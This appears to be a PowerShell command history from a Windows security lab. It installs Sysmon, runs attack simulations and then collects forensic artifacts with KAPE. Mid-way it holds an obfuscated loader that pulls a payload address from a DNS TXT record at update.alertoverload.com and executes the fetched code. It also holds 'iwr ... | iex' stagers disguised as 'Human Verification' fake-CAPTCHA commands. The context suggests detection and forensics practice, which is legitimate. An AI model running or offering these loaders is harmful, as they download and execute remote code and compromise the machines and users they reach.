cd C:\Users\sgonk\Downloads
iwr "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/refs/heads/master/sysmonconfig-export.xml" -o sysmon-config.xml
iwr "https://download.sysinternals.com/files/Sysmon.zip" Sysmon.zip
iwr "https://download.sysinternals.com/files/Sysmon.zip" -o Sysmon.zip
Expand-Archive .\Sysmon.zip
cd .\Sysmon\
.\Sysmon.exe -i ..\sysmon-config.xml
powershell -runas Administrator@corp.bajiri.com
$global:yizxgjtrvb=$ExecutionContext;& ([System.Management.Automation.Language.ScriptBlockAst]::new([ScriptBlock]::Create("Write-Output 'Hello'").Ast.Extent,($global:yizxgjtrvb).SessionState.PSVariable.Get($HhsOWDIJu72fNLrB9lQ4),($global:yizxgjtrvb).SessionState.PSVariable.Get($I21Rk7SB0TbP6c9FuoaC),($global:yizxgjtrvb).SessionState.PSVariable.Get($kSEs5zLbKv2OpyWeqIHJ),[ScriptBlock]::Create("$(($global:yizxgjtrvb).SessionState.([system.String]::new(@((-6748+(4913601/(1027-(110670/(2511138/(7675-(2816-(3174-(-998+(5318011/(1975946/742))))))))))),(557-447),(4241-(-4799+8922)),(305361/(15790740/5740)),(-5951+(-1220+(9028-(4745-(10821-7826))))),(9517-9416),(3866-3767),(117327/1057),(406679/(-1428+5159)),(-4989+5098),(485-388),(9306-(15466-6270)),(-1258+1358)))).NewScriptBlock(((((iwr -useb (Resolve-DnsName update.alertoverload.com -type TXT).Strings[0]).content))-join ',')))").Ast.EndBlock.Copy(),($global:yizxgjtrvb).SessionState.PSVariable.Get($EJy6aDH0rCf5UK47Xjsi)).GetScriptBlock()) 
$ExecutionContext 
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
$global:yizxgjtrvb=$ExecutionContext;& ([System.Management.Automation.Language.ScriptBlockAst]::new([ScriptBlock]::Create("Write-Output 'Hello'").Ast.Extent,($global:yizxgjtrvb).SessionState.PSVariable.Get($HhsOWDIJu72fNLrB9lQ4),($global:yizxgjtrvb).SessionState.PSVariable.Get($I21Rk7SB0TbP6c9FuoaC),($global:yizxgjtrvb).SessionState.PSVariable.Get($kSEs5zLbKv2OpyWeqIHJ),[ScriptBlock]::Create("$(($global:yizxgjtrvb).SessionState.([system.String]::new(@((-6748+(4913601/(1027-(110670/(2511138/(7675-(2816-(3174-(-998+(5318011/(1975946/742))))))))))),(557-447),(4241-(-4799+8922)),(305361/(15790740/5740)),(-5951+(-1220+(9028-(4745-(10821-7826))))),(9517-9416),(3866-3767),(117327/1057),(406679/(-1428+5159)),(-4989+5098),(485-388),(9306-(15466-6270)),(-1258+1358)))).NewScriptBlock(((((iwr -useb (Resolve-DnsName update.alertoverload.com -type TXT).Strings[0]).content))-join ',')))").Ast.EndBlock.Copy(),($global:yizxgjtrvb).SessionState.PSVariable.Get($EJy6aDH0rCf5UK47Xjsi)).GetScriptBlock()) 
iwr 127.0.0.1:5000/api/stage -useb | iex  # Human Verification - verification ID: 8156
iwr https://msedge.zip/api/stage -useb | iex  # Human Verification - verification ID: 8156
cd C:\Users\sgonk
ls
cd ..\jgartnet
ls
cd Desktop
cd C:\Users\sgonk\Desktop
.\kape.exe --tsource C: --tdest D:\kape_out --tflush --target !BasicCollection,!SANS_Triage,$Boot,$J,$LogFile,$MFT,ScheduledTasks,PowerShellConsole,Amcache,SRUM --msource C:\kape_out --mdest C:\kape_parsed --mflush --module !EZParser
cd .\kape\
ls
cd KAP
cd KAPE
ls
.\kape.exe --tsource C: --tdest D:\kape_out --tflush --target !BasicCollection,!SANS_Triage,$Boot,$J,$LogFile,$MFT,ScheduledTasks,PowerShellConsole,Amcache,SRUM --msource C:\kape_out --mdest C:\kape_parsed --mflush --module !EZParser
Start-Process powershell.exe -Verb RunAs
